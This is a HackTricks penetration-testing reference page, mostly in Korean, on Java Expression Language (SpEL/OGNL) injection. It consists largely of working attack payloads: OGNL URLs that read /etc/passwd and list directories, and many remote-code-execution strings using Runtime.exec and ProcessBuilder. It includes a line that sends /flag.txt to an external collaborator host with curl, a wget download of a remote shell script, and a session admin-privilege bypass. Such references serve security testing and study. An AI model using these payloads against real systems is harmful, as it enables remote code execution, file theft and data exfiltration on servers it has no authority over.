EL - Expression Language

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Bsic Info

Expression Language (EL)์€ JavaEE์—์„œ ํ”„๋ ˆ์  ํ…Œ์ด์…˜ ๋ ˆ์ด์–ด(์˜ˆ: ์›น ํŽ˜์ด์ง€)์™€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋กœ์ง(์˜ˆ: ๊ด€๋ฆฌ๋˜๋Š” ๋นˆ) ๊ฐ„์˜ ์ƒํ˜ธ์ž‘์šฉ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๋Š” ๋ฐ ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. ์ฃผ๋กœ ๋‹ค์Œ์—์„œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค:

  • JavaServer Faces (JSF): UI ๊ตฌ์„ฑ ์š”์†Œ๋ฅผ ๋ฐฑ์—”๋“œ ๋ฐ์ดํ„ฐ/์ž‘์—…์— ๋ฐ”์ธ๋”ฉํ•˜๊ธฐ ์œ„ํ•ด.
  • JavaServer Pages (JSP): JSP ํŽ˜์ด์ง€ ๋‚ด์—์„œ ๋ฐ์ดํ„ฐ ์ ‘๊ทผ ๋ฐ ์กฐ์ž‘์„ ์œ„ํ•ด.
  • Contexts and Dependency Injection for Java EE (CDI): ๊ด€๋ฆฌ๋˜๋Š” ๋นˆ๊ณผ์˜ ์›น ๋ ˆ์ด์–ด ์ƒํ˜ธ์ž‘์šฉ์„ ์ด‰์ง„ํ•˜๊ธฐ ์œ„ํ•ด.

์‚ฌ์šฉ ๋งฅ๋ฝ:

  • Spring Framework: Security ๋ฐ Data์™€ ๊ฐ™์€ ๋‹ค์–‘ํ•œ ๋ชจ๋“ˆ์—์„œ ์ ์šฉ๋ฉ๋‹ˆ๋‹ค.
  • ์ผ๋ฐ˜ ์‚ฌ์šฉ: Java, Kotlin, Scala์™€ ๊ฐ™์€ JVM ๊ธฐ๋ฐ˜ ์–ธ์–ด์˜ ๊ฐœ๋ฐœ์ž๋“ค์ด SpEL API๋ฅผ ํ†ตํ•ด ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

EL์€ JavaEE ๊ธฐ์ˆ , ๋…๋ฆฝ ์‹คํ–‰ ํ™˜๊ฒฝ์— ์กด์žฌํ•˜๋ฉฐ, .jsp ๋˜๋Š” .jsf ํŒŒ์ผ ํ™•์žฅ์ž, ์Šคํƒ ์˜ค๋ฅ˜ ๋ฐ ํ—ค๋”์˜ โ€œServletโ€œ๊ณผ ๊ฐ™์€ ์šฉ์–ด๋ฅผ ํ†ตํ•ด ์ธ์‹ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ํŠน์ • ๊ธฐ๋Šฅ๊ณผ ํŠน์ • ๋ฌธ์ž์˜ ์‚ฌ์šฉ์€ ๋ฒ„์ „์— ๋”ฐ๋ผ ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Note

EL ๋ฒ„์ „์— ๋”ฐ๋ผ ์ผ๋ถ€ ๊ธฐ๋Šฅ์ด ์ผœ์ ธ ์žˆ๊ฑฐ๋‚˜ ๊บผ์ ธ ์žˆ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ผ๋ฐ˜์ ์œผ๋กœ ์ผ๋ถ€ ๋ฌธ์ž๋Š” ํ—ˆ์šฉ๋˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Basic Example

(EL์— ๋Œ€ํ•œ ๋˜ ๋‹ค๋ฅธ ํฅ๋ฏธ๋กœ์šด ํŠœํ† ๋ฆฌ์–ผ์€ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.)

๋‹ค์Œ Main.java ํŒŒ์ผ์„ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด Maven ์ €์žฅ์†Œ์—์„œ jar ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค:

  • commons-lang3-3.9.jar
  • spring-core-5.2.1.RELEASE.jar
  • commons-logging-1.2.jar
  • spring-expression-5.2.1.RELEASE.jar

๊ทธ๋ฆฌ๊ณ  ๋‹ค์Œ Main.java ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}

๋‹ค์Œ์œผ๋กœ ์ฝ”๋“œ๋ฅผ ์ปดํŒŒ์ผํ•ฉ๋‹ˆ๋‹ค (๋งŒ์•ฝ javac๊ฐ€ ์„ค์น˜๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค๋ฉด, sudo apt install default-jdk๋ฅผ ์„ค์น˜ํ•˜์„ธ์š”):

javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹คํ–‰ํ•˜์‹ญ์‹œ์˜ค:

java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]

์ด์ „ ์˜ˆ์ œ์—์„œ {5*5}๋ผ๋Š” ์šฉ์–ด๊ฐ€ ํ‰๊ฐ€๋˜์—ˆ์Œ์„ ์ฃผ๋ชฉํ•˜์‹ญ์‹œ์˜ค.

CVE ๊ธฐ๋ฐ˜ ํŠœํ† ๋ฆฌ์–ผ

์ด ๊ฒŒ์‹œ๋ฌผ์—์„œ ํ™•์ธํ•˜์„ธ์š”: https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a

ํŽ˜์ด๋กœ๋“œ

๊ธฐ๋ณธ ์ž‘์—…

#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]

ํƒ์ง€

  • Burp ํƒ์ง€
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
  • J2EE ํƒ์ง€
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
  • 10์ดˆ ๋Œ€๊ธฐ
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

์›๊ฒฉ ํŒŒ์ผ ํฌํ•จ

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

๋””๋ ‰ํ† ๋ฆฌ ๋ชฉ๋ก

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

RCE

  • ๊ธฐ๋ณธ RCE ์„ค๋ช…
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
  • RCE ๋ฆฌ๋ˆ…์Šค
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • RCE Windows (ํ…Œ์ŠคํŠธ๋˜์ง€ ์•Š์Œ)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • ๋” ๋งŽ์€ RCE
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

ํ™˜๊ฒฝ ๊ฒ€์‚ฌ

  • applicationScope - ์ „์—ญ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ณ€์ˆ˜
  • requestScope - ์š”์ฒญ ๋ณ€์ˆ˜
  • initParam - ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ดˆ๊ธฐํ™” ๋ณ€์ˆ˜
  • sessionScope - ์„ธ์…˜ ๋ณ€์ˆ˜
  • param.X - http ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ์ด๋ฆ„์ด X์ธ ๋งค๊ฐœ๋ณ€์ˆ˜ ๊ฐ’

์ด ๋ณ€์ˆ˜๋ฅผ String์œผ๋กœ ๋ณ€ํ™˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

${sessionScope.toString()}

๊ถŒํ•œ ์šฐํšŒ ์˜ˆ์ œ

${pageContext.request.getSession().setAttribute("admin", true)}

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์‚ฌ์šฉ์ž ์ •์˜ ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

${user}
${password}
${employee.FirstName}

WAF ์šฐํšŒ

Check https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ